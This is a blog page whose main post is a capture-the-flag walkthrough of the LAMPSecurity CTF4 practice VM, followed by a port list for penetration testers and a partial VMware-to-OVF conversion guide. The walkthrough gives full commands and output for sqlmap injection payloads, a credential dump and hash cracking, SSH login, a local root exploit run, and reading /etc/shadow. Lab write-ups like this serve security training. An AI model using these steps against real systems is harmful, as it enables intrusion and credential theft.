Saturday, October 31, 2015

Tango Down (CTF4) : Capture The Flag (CTF) 4 Lamp Security Challenge


Lab Environment :

Victim Host : https://www.vulnhub.com/entry/lampsecurity-ctf4,83/  on VirtualBox (MacOS)
Attacking Host : KALI (On Virtual Box)
Network : Host-Only (VirtualBox)
Tools : As mentioned in the walkthrough below


Discovery :

- Search the IP, start the VM, select the network to Host Only network, now we are aware the subnet used by host only, just run an nmapscan to identify the network IP.

We got the below IP and services :

Nmapscan report for 192.168.56.101
Host is up (0.00043s latency).
Not shown: 96 filtered ports
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
80/tcp open http
631/tcpclosed ipp
MAC Address: 08:00:27:37:40:F6 (CadmusComputer Systems)


To confirm, Telnet on 25 port
root@kali:~# telnet 192.168.56.101 25

Trying 192.168.56.101...
Connected to 192.168.56.101.
Escape character is '^]'.
220 ctf4.sas.upenn.eduESMTPSendmail8.13.5/8.13.5; Sat, 24 Oct 2015 00:05:52 -0400
HELO
501 5.0.0 HELOrequires domain address
VRYroot
500 5.5.1 Command unrecognized: "VRYroot"
help
214-2.0.0 This is sendmailversion 8.13.5
214-2.0.0 Topics:
214-2.0.0 HELO EHLO MAIL RCPT DATA
214-2.0.0 RSET NOOP QUIT HELP VRFY
214-2.0.0 EXPN VERB ETRN DSN AUTH
214-2.0.0 STARTTLS
214-2.0.0 For more info use "HELP ".
214-2.0.0 To report bugs in the implementation send email to
214-2.0.0 sendmail-bugs@sendmail.org.
214-2.0.0 For local information send email to Postmaster at your site.
214 2.0.0 End of HELP info
VRFYroot
250 2.1.5 <root@ctf4.sas.upenn.edu>

This is the host.

Now we will do further scanning and enumeration :

Port 80 :

A normal site seems to be hosted here, a static. Running niktoon this..




Vulnerability Assessment and Exploit :

Testing SQLInjection :
root@kali:~/vulhub/ct4# sqlmap-u http://192.168.56.101 --crawl=3
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150429}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmapfor attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 01:17:44

do you want to check for the existence of site's sitemap(.xml) [Y/n]
[01:17:46] [INFO] no links found
[01:17:46] [INFO] starting crawler
[01:17:46] [INFO] searching for links with depth 1
[01:17:46] [INFO] searching for links with depth 2
please enter number of threads? [Enter for 1 (current)]
[01:17:48] [WARNING] running in a single-thread mode. This could take a while
[01:17:48] [INFO] searching for links with depth 3
please enter number of threads? [Enter for 1 (current)] 3
[01:17:58] [INFO] starting 3 threads
do you want to store crawling results to a temporary file for eventual further processing with other tools [y/N]
[01:18:00] [INFO] sqlmapgot a total of 8 targets
URL 1:
GET http://192.168.56.101:80/index.html?title=Home Page
do you want to test this URL? [Y/n/q]
>
[01:18:02] [INFO] testing URL 'http://192.168.56.101:80/index.html?title=Home Page'
[01:18:02] [INFO] using '/root/.sqlmap/output/results-10242015_0118am.csv' as the CSVresults file in multiple targets mode
[01:18:02] [INFO] testing connection to the target URL
[01:18:02] [WARNING] the web server responded with an HTTP error code (404) which could interfere with the results of the tests
[01:18:02] [INFO] testing if the target URL is stable. This can take a couple of seconds
[01:18:03] [INFO] target URL is stable
[01:18:03] [INFO] testing if GET parameter 'title' is dynamic
[01:18:03] [WARNING] GET parameter 'title' does not appear dynamic
[01:18:03] [WARNING] heuristic (basic) test shows that GET parameter 'title' might not be injectable
[01:18:03] [INFO] heuristic (XSS) test shows that GET parameter 'title' might be vulnerable to XSSattacks
[01:18:03] [INFO] testing for SQLinjection on GET parameter 'title'
[01:18:03] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:18:03] [WARNING] reflective value(s) found and filtering out
[01:18:03] [INFO] testing 'MySQL>= 5.0 AND error-based - WHERE or HAVING clause'
[01:18:03] [INFO] testing 'PostgreSQLAND error-based - WHERE or HAVING clause'
[01:18:03] [INFO] testing 'Microsoft SQLServer/SybaseAND error-based - WHERE or HAVING clause'
[01:18:04] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[01:18:04] [INFO] testing 'MySQLinlinequeries'
[01:18:04] [INFO] testing 'PostgreSQLinlinequeries'
[01:18:04] [INFO] testing 'Microsoft SQLServer/Sybaseinlinequeries'
[01:18:04] [INFO] testing 'Oracle inlinequeries'
[01:18:04] [INFO] testing 'SQLiteinlinequeries'
[01:18:04] [INFO] testing 'MySQL> 5.0.11 stacked queries'
[01:18:04] [INFO] testing 'PostgreSQL> 8.1 stacked queries'
[01:18:04] [INFO] testing 'Microsoft SQLServer/Sybasestacked queries'
[01:18:04] [INFO] testing 'MySQL> 5.0.11 AND time-based blind (SELECT)'
[01:18:04] [INFO] testing 'MySQL> 5.0.11 AND time-based blind'
[01:18:04] [INFO] testing 'PostgreSQL> 8.1 AND time-based blind'
[01:18:04] [INFO] testing 'Microsoft SQLServer/Sybasetime-based blind'
[01:18:04] [INFO] testing 'Oracle AND time-based blind'
[01:18:04] [INFO] testing 'MySQLUNION query (NULL) - 1 to 10 columns'
[01:18:05] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[01:18:05] [WARNING] using unescapedversion of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms'
[01:18:06] [WARNING] GET parameter 'title' is not injectable
[01:18:06] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL
URL 2:
GET http://192.168.56.101:80/index.html?page=blog&title=Blog
do you want to test this URL? [Y/n/q]
>
[01:18:12] [INFO] testing URL 'http://192.168.56.101:80/index.html?page=blog&title=Blog'
[01:18:12] [INFO] testing connection to the target URL
[01:18:12] [WARNING] the web server responded with an HTTP error code (404) which could interfere with the results of the tests
[01:18:12] [INFO] testing if the target URL is stable. This can take a couple of seconds
[01:18:13] [INFO] target URL is stable
[01:18:13] [INFO] testing if GET parameter 'page' is dynamic
[01:18:13] [INFO] confirming that GET parameter 'page' is dynamic
[01:18:13] [INFO] GET parameter 'page' is dynamic
[01:18:13] [WARNING] heuristic (basic) test shows that GET parameter 'page' might not be injectable
[01:18:13] [INFO] testing for SQLinjection on GET parameter 'page'
[01:18:13] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:18:13] [INFO] testing 'MySQL>= 5.0 AND error-based - WHERE or HAVING clause'
[01:18:13] [INFO] testing 'PostgreSQLAND error-based - WHERE or HAVING clause'
[01:18:13] [INFO] testing 'Microsoft SQLServer/SybaseAND error-based - WHERE or HAVING clause'
[01:18:13] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[01:18:13] [INFO] testing 'MySQLinlinequeries'
[01:18:13] [INFO] testing 'PostgreSQLinlinequeries'
[01:18:13] [INFO] testing 'Microsoft SQLServer/Sybaseinlinequeries'
[01:18:13] [INFO] testing 'Oracle inlinequeries'
[01:18:13] [INFO] testing 'SQLiteinlinequeries'
[01:18:13] [INFO] testing 'MySQL> 5.0.11 stacked queries'
[01:18:13] [INFO] testing 'PostgreSQL> 8.1 stacked queries'
[01:18:13] [INFO] testing 'Microsoft SQLServer/Sybasestacked queries'
[01:18:13] [INFO] testing 'MySQL> 5.0.11 AND time-based blind (SELECT)'
[01:18:13] [INFO] testing 'MySQL> 5.0.11 AND time-based blind'
[01:18:13] [INFO] testing 'PostgreSQL> 8.1 AND time-based blind'
[01:18:14] [INFO] testing 'Microsoft SQLServer/Sybasetime-based blind'
[01:18:14] [INFO] testing 'Oracle AND time-based blind'
[01:18:14] [INFO] testing 'MySQLUNION query (NULL) - 1 to 10 columns'
[01:18:14] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[01:18:14] [WARNING] using unescapedversion of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms'
[01:18:15] [WARNING] GET parameter 'page' is not injectable
[01:18:15] [INFO] skipping previously processed GET parameter 'title'
[01:18:15] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL
[01:18:15] [INFO] skipping 'http://192.168.56.101:80/index.html?page=research&title=Research'
[01:18:15] [INFO] skipping 'http://192.168.56.101:80/index.html?page=contact&title=Contact'
URL 3:
GET http://192.168.56.101:80/index.html?page=blog&title=Blog&id=2
do you want to test this URL? [Y/n/q]
>
[01:18:19] [INFO] testing URL 'http://192.168.56.101:80/index.html?page=blog&title=Blog&id=2'
[01:18:19] [INFO] testing connection to the target URL
[01:18:19] [WARNING] the web server responded with an HTTP error code (404) which could interfere with the results of the tests
[01:18:19] [INFO] testing if the target URL is stable. This can take a couple of seconds
[01:18:20] [INFO] target URL is stable
[01:18:20] [INFO] skipping previously processed GET parameter 'page'
[01:18:20] [INFO] skipping previously processed GET parameter 'title'
[01:18:20] [INFO] testing if GET parameter 'id' is dynamic
[01:18:20] [INFO] confirming that GET parameter 'id' is dynamic
[01:18:20] [INFO] GET parameter 'id' is dynamic
[01:18:20] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[01:18:20] [INFO] testing for SQLinjection on GET parameter 'id'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
[01:18:39] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:18:39] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[01:18:39] [INFO] testing 'MySQL>= 5.0 AND error-based - WHERE or HAVING clause'
[01:18:39] [INFO] testing 'MySQL>= 5.1 AND error-based - WHERE or HAVING clause (EXTRACTVALUE)'
[01:18:39] [INFO] testing 'MySQL>= 5.1 AND error-based - WHERE or HAVING clause (UPDATEXML)'
[01:18:39] [INFO] testing 'MySQL>= 5.5 AND error-based - WHERE or HAVING clause (BIGINTUNSIGNED)'
[01:18:39] [INFO] testing 'MySQL>= 4.1 AND error-based - WHERE or HAVING clause'
[01:18:39] [INFO] testing 'MySQL>= 5.0 OR error-based - WHERE or HAVING clause'
[01:18:39] [INFO] testing 'MySQL>= 5.1 OR error-based - WHERE or HAVING clause (EXTRACTVALUE)'
[01:18:39] [INFO] testing 'MySQL>= 5.1 OR error-based - WHERE or HAVING clause (UPDATEXML)'
[01:18:39] [INFO] testing 'MySQL>= 5.5 OR error-based - WHERE or HAVING clause (BIGINTUNSIGNED)'
[01:18:39] [INFO] testing 'MySQL>= 4.1 OR error-based - WHERE or HAVING clause'
[01:18:39] [INFO] testing 'MySQLOR error-based - WHERE or HAVING clause'
[01:18:39] [INFO] testing 'MySQL>= 5.1 error-based - PROCEDURE ANALYSE(EXTRACTVALUE)'
[01:18:39] [INFO] testing 'MySQL>= 5.0 error-based - Parameter replace'
[01:18:39] [INFO] testing 'MySQL>= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[01:18:39] [INFO] testing 'MySQL>= 5.1 error-based - Parameter replace (UPDATEXML)'
[01:18:39] [INFO] testing 'MySQL>= 5.5 error-based - Parameter replace (BIGINTUNSIGNED)'
[01:18:39] [INFO] testing 'MySQLinlinequeries'
[01:18:39] [INFO] testing 'MySQL> 5.0.11 stacked queries'
[01:18:39] [WARNING] time-based comparison requires larger statistical model, please wait..
[01:18:39] [INFO] testing 'MySQL< 5.0.12 stacked queries (heavy query)'
[01:18:39] [INFO] testing 'MySQL> 5.0.11 AND time-based blind (SELECT)'
[01:18:49] [INFO] GET parameter 'id' seems to be 'MySQL> 5.0.11 AND time-based blind (SELECT)' injectable
[01:18:49] [INFO] testing 'MySQLUNION query (NULL) - 1 to 20 columns'
[01:18:49] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[01:18:49] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[01:18:49] [INFO] target URL appears to have 5 columns in query
[01:18:49] [INFO] GET parameter 'id' is 'MySQLUNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmapidentified the following injection points with a total of 40 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: page=blog&title=Blog&id=2 AND 6954=6954

Type: UNION query
Title: MySQLUNION query (NULL) - 5 columns
Payload: page=blog&title=Blog&id=2 UNION ALL SELECT NULL,CONCAT(0x716b707171,0x69637369434f4f546370,0x71707a7671),NULL,NULL,NULL#

Type: AND/OR time-based blind
Title: MySQL> 5.0.11 AND time-based blind (SELECT)
Payload: page=blog&title=Blog&id=2 AND (SELECT * FROM (SELECT(SLEEP(5)))VbJV)
---
do you want to exploit this SQLinjection? [Y/n]
[01:19:18] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Fedora 5 (Bordeaux)
web application technology: Apache 2.2.0, PHP5.1.2
back-end DBMS: MySQL5.0.11
[01:19:18] [INFO] skipping 'http://192.168.56.101:80/index.html?page=blog&title=Blog&id=5'
[01:19:18] [INFO] skipping 'http://192.168.56.101:80/index.html?page=blog&title=Blog&id=6'
[01:19:18] [INFO] skipping 'http://192.168.56.101:80/index.html?page=blog&title=Blog&id=7'
[01:19:18] [INFO] you can find results of scanning in multiple targets mode inside the CSVfile '/root/.sqlmap/output/results-10242015_0118am.csv'

[*] shutting down at 01:19:18


Took a database dump for the user accounts and hashes :
sqlmap-u http://192.168.56.101 --crawl=5 --dbms=mysql--dump --threads=5


+++ Truncated O/p+++
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[01:31:14] [INFO] writing hashes to a temporary file '/tmp/sqlmap_bywwj4272/sqlmaphashes-lLP7FS.txt'
do you want to crack them via a dictionary-based attack? [y/N/q]
Database: ehks
Table: user
[6 entries]
+---------+-----------+----------------------------------+
| user_id | user_name | user_pass |
+---------+-----------+----------------------------------+
| 1 | dstevens | 02e823a15a392b5aa4ff4ccb9060fa68 |
| 2 | achen | b46265f1e7faa3beab09db5c28739380 |
| 3 | pmoore | 8f4743c04ed8e5f39166a81f26319bb5 |
| 4 | jdurbin | 7c7bc9f465d86b8164686ebb5151a717 |
| 5 | sorzek | 64d1f88b9b276aece4b0edcc25b7a434 |
| 6 | ghighland| 9f3eb3087298ff21843cc4e013cf355f |+---------+-----------+----------------------------------+


++++++++++++++++

Cracking the hashes for the accounts :

1.iliketosurf






2. achen: seventysixers
3.pmoore: Homesite
4.jdurbin: Sue1978
5.sorzek: pacman6.ghighland: undone1

So we have all the SQLUsernamesand password now !


From Nikto we found some more paths :
==============================================
root@kali:~/vulhub/ct4# nikto-h http://192.168.56.101
- Niktov2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.56.101
+ Target Hostname: 192.168.56.101
+ Target Port: 80
+ Start Time: 2015-10-24 01:16:56 (GMT1)
---------------------------------------------------------------------------
+ Server: Apache/2.2.0 (Fedora)
+ Retrieved x-powered-by header: PHP/5.1.2
+ The anti-clickjackingX-Frame-Options header is not present.
+ Server leaks inodesvia ETags, header found with file /robots.txt, inode: 487720, size: 104, mtime: Tue Dec 9 23:39:44 2014
+ File/dir'/mail/' in robots.txtreturned a non-forbidden or redirect HTTP code (302)
+ File/dir'/conf/' in robots.txtreturned a non-forbidden or redirect HTTP code (500)
+ OSVDB-3268: /sql/: Directory indexing found.
+ File/dir'/sql/' in robots.txtreturned a non-forbidden or redirect HTTP code (200)
+ File/dir'/admin/' in robots.txtreturned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 5 entries which should be manually viewed.
+ Apache/2.2.0 appears to be outdated (current is at least Apache/2.4.7). Apache 2.0.65 (final release) and 2.2.26 are also current.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-5034: /admin/login.php?action=insert&username=test&password=test: phpAuctionmay allow user adminaccounts to be inserted without proper authentication. Attempt to log in with user 'test' password 'test' to verify.
+ OSVDB-682: /usage/: Webalizermay be installed. Versions lower than 2.01-09 vulnerable to Cross Site Scripting (XSS). http://www.cert.org/advisories/CA-2000-02.html.
+ OSVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHPreveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHPreveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHPreveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-3092: /admin/: This might be interesting...
+ OSVDB-3268: /pages/: Directory indexing found.
+ OSVDB-3092: /pages/: This might be interesting...
+ OSVDB-3093: /admin/index.php: This might be interesting... has been seen in web logs from an unknown scanner.
+ Cookie SQMSESSIDcreated without the httponlyflag
+ OSVDB-3093: /mail/src/read_body.php: SquirrelMailfound
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3268: /images/: Directory indexing found.
+ OSVDB-3268: /images/?pattern=/etc/*&sort=name: Directory indexing found.
+ OSVDB-9624: /admin/admin.php?adminpy=1: PY-Membres4.2 may allow administrator access.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /admin/login.php: Adminlogin page/section found.+ 7500 requests: 1 error(s) and 30 item(s) reported on remote host

+ End Time: 2015-10-24 01:17:32 (GMT1) (36 seconds)
---------------------------------------------------------------------------


Trying login using the user / password we gathered from previous sqlmapstep :







Login successfull, but do not see any adminconsole, lets try other logins..


To Gain Shell :

First step, lets try to find a shell to the host. We defaced multiple user / password above, lets try to use some ids..

I randomly picked "achen" , and it works !!, I have shell now.

root@kali:~/vulhub/ct4# ssh achen@192.168.56.101
The authenticity of host '192.168.56.101 (192.168.56.101)' can't be established.
RSAkey fingerprint is e7:70:d3:81:00:41:b8:6e:fd:31:ae:0e:00:ea:5c:b4.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.56.101' (RSA) to the list of known hosts.
BSD SSH 4.1
achen@192.168.56.101's password:
Last login: Tue Mar 10 12:45:06 2009
[achen@ctf4 ~]$ whoami
achen
[achen@ctf4 ~]$ id
uid=501(achen) gid=501(achen) groups=100(users),501(achen),507(admins) context=user_u:system_r:unconfined_t
[achen@ctf4 ~]$ uname-a
Linux ctf4.sas.upenn.edu2.6.15-1.2054_FC5 #1 Tue Mar 14 15:48:33 EST 2006 i686 i686 i386 GNU/Linux
[achen@ctf4 ~]$ cat /etc/issue
Fedora Core release 5 (Bordeaux)
Kernel \r on an \m

[achen@ctf4 ~]$

Privilege Escalation :
After a lot of research, I got this : http://www.securityfocus.com/bid/18874/exploit. Downloaded and copied the exploit onto the victim host.




On the victim node, gave exec permissions and then ran the exploit script :


[achen@ctf4 ~]$ chmod+x zmia-jul14-2006.sh

[achen@ctf4 ~]$ ./zmia-jul14-2006.sh
wait aprox4 min to get sh

sh-3.1# id
uid=0(root) gid=0(root) groups=100(users),501(achen),507(admins) context=user_u:system_r:unconfined_t


We are ROOT

Observation:

OS:
sh-3.1# cat /etc/issue
Fedora Core release 5 (Bordeaux)
Kernel \r on an \m

You have new mail in /var/spool/mail/achen

sh-3.1# uname-a
Linux ctf4.sas.upenn.edu2.6.15-1.2054_FC5 #1 Tue Mar 14 15:48:33 EST 2006 i686 i686 i386 GNU/Linux


Passwords :
sh-3.1# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
distcache:x:94:94:Distcache:/:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
nscd:x:28:28:NSCDDaemon:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
webalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologin
dovecot:x:97:97:dovecot:/usr/libexec/dovecot:/sbin/nologin
mysql:x:27:27:MySQLServer:/var/lib/mysql:/bin/bash
netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash
pcap:x:77:77::/var/arpwatch:/sbin/nologin
avahi:x:70:70:Avahidaemon:/:/sbin/nologin
named:x:25:25:Named:/var/named:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
rpc:x:32:32:PortmapperRPCuser:/:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
gdm:x:42:42::/var/gdm:/sbin/nologin
rpcuser:x:29:29:RPCService User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
dstevens:x:500:506:Don Stevens:/home/dstevens:/bin/bash
achen:x:501:501:Andrew Chen:/home/achen:/bin/bash
pmoore:x:502:502:Phillip Moore:/home/pmoore:/bin/bash
jdurbin:x:503:503:James Durbin:/home/jdurbin:/bin/bash
sorzek:x:504:504:Sally Orzek:/home/sorzek:/bin/bash
ghighland:x:505:505:Greg Highland:/home/ghighland:/bin/bash
ossec:x:506:508::/var/ossec:/sbin/nologin
ossecm:x:507:508::/var/ossec:/sbin/nologin
ossecr:x:508:508::/var/ossec:/sbin/nologin


sh-3.1# cat /etc/shadow
root:$1$DSHH/MlC$DH8ClhHKeagYW4PwxICZC0:14309:0:99999:7:::
bin:*:14309:0:99999:7:::
daemon:*:14309:0:99999:7:::
adm:*:14309:0:99999:7:::
lp:*:14309:0:99999:7:::
sync:*:14309:0:99999:7:::
shutdown:*:14309:0:99999:7:::
halt:*:14309:0:99999:7:::
mail:*:14309:0:99999:7:::
news:*:14309:0:99999:7:::
uucp:*:14309:0:99999:7:::
operator:*:14309:0:99999:7:::
games:*:14309:0:99999:7:::
gopher:*:14309:0:99999:7:::
ftp:*:14309:0:99999:7:::
nobody:*:14309:0:99999:7:::
dbus:!!:14309:0:99999:7:::
rpm:!!:14309:0:99999:7:::
apache:!!:14309:0:99999:7:::
distcache:!!:14309:0:99999:7:::
ntp:!!:14309:0:99999:7:::
nscd:!!:14309:0:99999:7:::
vcsa:!!:14309:0:99999:7:::
webalizer:!!:14309:0:99999:7:::
dovecot:!!:14309:0:99999:7:::
mysql:!!:14309:0:99999:7:::
netdump:!!:14309:0:99999:7:::
pcap:!!:14309:0:99999:7:::
avahi:!!:14309:0:99999:7:::
named:!!:14309:0:99999:7:::
mailnull:!!:14309:0:99999:7:::
smmsp:!!:14309:0:99999:7:::
haldaemon:!!:14309:0:99999:7:::
rpc:!!:14309:0:99999:7:::
xfs:!!:14309:0:99999:7:::
gdm:!!:14309:0:99999:7:::
rpcuser:!!:14309:0:99999:7:::
nfsnobody:!!:14309:0:99999:7:::
sshd:!!:14309:0:99999:7:::
dstevens:$1$fU8HOHqa$N542xtl0ft8NmsYkv5NFo/:14309:0:99999:7:::
achen:$1$kxyn25Oz$w.MMADGQYIq4F52hi9DUQ.:14309:0:99999:7:::
pmoore:$1$p0RXlomV$m03UsjoTZ08qG8gbWHgST0:14309:0:99999:7:::
jdurbin:$1$CYmEyuc.$FXAeZHkhywwENbqE8h0O.0:14309:0:99999:7:::
sorzek:$1$cWeWNRdU$VTtlKsoRBmhMghnkSwqCQ.:14312:0:99999:7:::
ghighland:$1$ooKvtZEY$N2RpSaIylgFlHnBkbwUGz0:14309:0:99999:7:::
ossec:!!:14312:0:99999:7:::
ossecm:!!:14312:0:99999:7:::
ossecr:!!:14312:0:99999:7:::

NetstatOutput
sh-3.1# netstat-aActive Internet connections (servers and established)
ProtoRecv-Q Send-Q Local Address Foreign Address State
tcp 0 0 *:mysql *:* LISTEN
tcp 0 0 *:sunrpc *:* LISTEN
tcp 0 0 *:58194 *:* LISTEN
tcp 0 0 *:smtp *:* LISTEN
tcp 0 0 *:imaps *:* LISTEN
tcp 0 0 *:pop3s *:* LISTEN
tcp 0 0 *:pop3 *:* LISTEN
tcp 0 0 *:imap *:* LISTEN
tcp 0 0 *:http *:* LISTEN
tcp 0 0 *:ssh *:* LISTEN
tcp 0 0 *:https *:* LISTEN


sh-3.1# df-kl
Filesystem 1K-blocks Used Available Use% Mounted on
/dev/mapper/VolGroup00-LogVol00
2888460 1757260 982108 65% /
/dev/hda1 101086 9967 85900 11% /boot
tmpfs 1038136 0 1038136 0% /dev/shm

sh-3.1# mount
/dev/mapper/VolGroup00-LogVol00 on / type ext3 (rw)
procon /proctype proc(rw)
sysfson /sys type sysfs(rw)
devptson /dev/ptstype devpts(rw,gid=5,mode=620)
/dev/hda1 on /boot type ext3 (rw)
tmpfson /dev/shmtype tmpfs(rw)
none on /proc/sys/fs/binfmt_misc type binfmt_misc (rw)
sunrpcon /var/lib/nfs/rpc_pipefstype rpc_pipefs(rw)
automount(pid1528) on /net type autofs(rw,fd=4,pgrp=1528,minproto=2,maxproto=4)


Now as we have a privileged access to the system and access to the shadow and passwdfile, we can crack the root password :
root@kali:~/vulhub/ct4# unshadowpasswdshadow > unshadow.txt
root@kali:~/vulhub/ct4# greproot unshadow.txt> root.txt
root@kali:~/vulhub/ct4# cat root.txt
root:$1$DSHH/MlC$DH8ClhHKeagYW4PwxICZC0:0:0:root:/root:/bin/bash

root@kali:~/vulhub/ct4# john root.txt
Loaded 1 password hash (FreeBSDMD5 [128/128 SSE2 intrinsics 12x])
root1234 (root)
guesses: 1 time: 0:00:00:00 DONE (Tue Oct 27 19:59:06 2015) c/s: 4320 trying: Root888 - root7777
Use the "--show" option to display all of the cracked passwords reliably

root@kali:~/vulhub/ct4# john --show root.txt
root:root1234:0:0:root:/root:/bin/bash

1 password hash cracked, 0 left

Saturday, October 24, 2015

Common TCP/IP Ports For Penetration Testers

Some of the ports of interests for penetration testers are :

Port Number Usage ProtocolSome Enumeration Commands and Tools
21 FTP TCP Nmap NSE,
22 SSH TCP,UDP TBD
23 Telnet TCP TBD
25 SMTP TCP Nmap NSE
53 DNS TCP,UDP Nmap NSE, dnsrecon, nslookup
80 HTTP TCP,UDP Nmap NSE, nikto, dirbuster
123 NTP TCP TBD
135 Microsoft RPC TCP,UDP Nmap NSE, 
137 NetBIOS Name Service TCP,UDP Nmap NSE, 
139 NetBIOS Session Service,
Samba (SMB,CIFS)
TCP,UDP Nmap NSE, smbclient
161 SNMP TCP,UDP snmpwalk, onesixtyone
162 SNMP Trap TCP,UDP snmpwalk, onesixtyone
389 LDAP TCP,UDP TBD
443 HTTPS TCP,UDP Nmap NSE, nikto, dirbuster
445 Microsoft-ds TCP Nmap NSE, PsExec, nbtstat
3306 MySQL TCP Nmap NSE, sqlmap
3368 Global Catalogue TCP TBD
3389 RDP TCP TBD
List of Ports and usage


If you have any suggestions, please leave your comments below to add some here..

Monday, September 7, 2015

Convert VMX,VMDK to OVF, OVA Format

Problem Statement :

I recently got a dump of a virtual machine, it was exported from VMWare hence it had the respective .vmdk's, .vmx's.. I work on a mac and use VirtualBox to host VM's. The problem begun when I tried to import the virtual machine to my laptop. You cannot import it using VirtualBox. The other option was to install VMWare player on my laptop for that VM specifically which didn't make much sense. Moreover, You would not get VMWare player free for mac, you would need to either buy VMWare Fusion or download a 30 day trial, which again does not solve my purpose.

So in essence I wanted to covert the available VMWare proprietary files in a format which can be imported on my regular VirtualBox

Fix :

There is a tool available from VMWare called OVFTool which can be used to convert the existing VMWare files in any appropriate format.

You can download this tool from here : https://www.vmware.com/support/developer/ovf/

Steps :
  • Install the OVFTool dmg.
  • Locate the package / binary. For me it was 
/Applications/VMware\ OVF\ Tool/.
  • To make it easier I did mv this folder without spaces,named the folder to "VMWareOVF" 
$sudo mv VMware\ OVF\ Tool/ VMWareOVF
  • Added this in the path variable so that "ovftool" can be run in the shell without giving the path to the command
export PATH=$PATH:/Applications/VMWareOVF/
  • Crosscheck if the path has been updated using the command "env | grep ^PATH"
PATH=/sw/bin:/sw/sbin:/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/X11R6/bin:/Applications/VMWareOVF/ 
  • "cd" into the folder where the VMWare files are kept. Suppose the vmx file name is "subject.vmx"
  • Create a folder by the name "OVF" where you will keep the converted "ovf" file
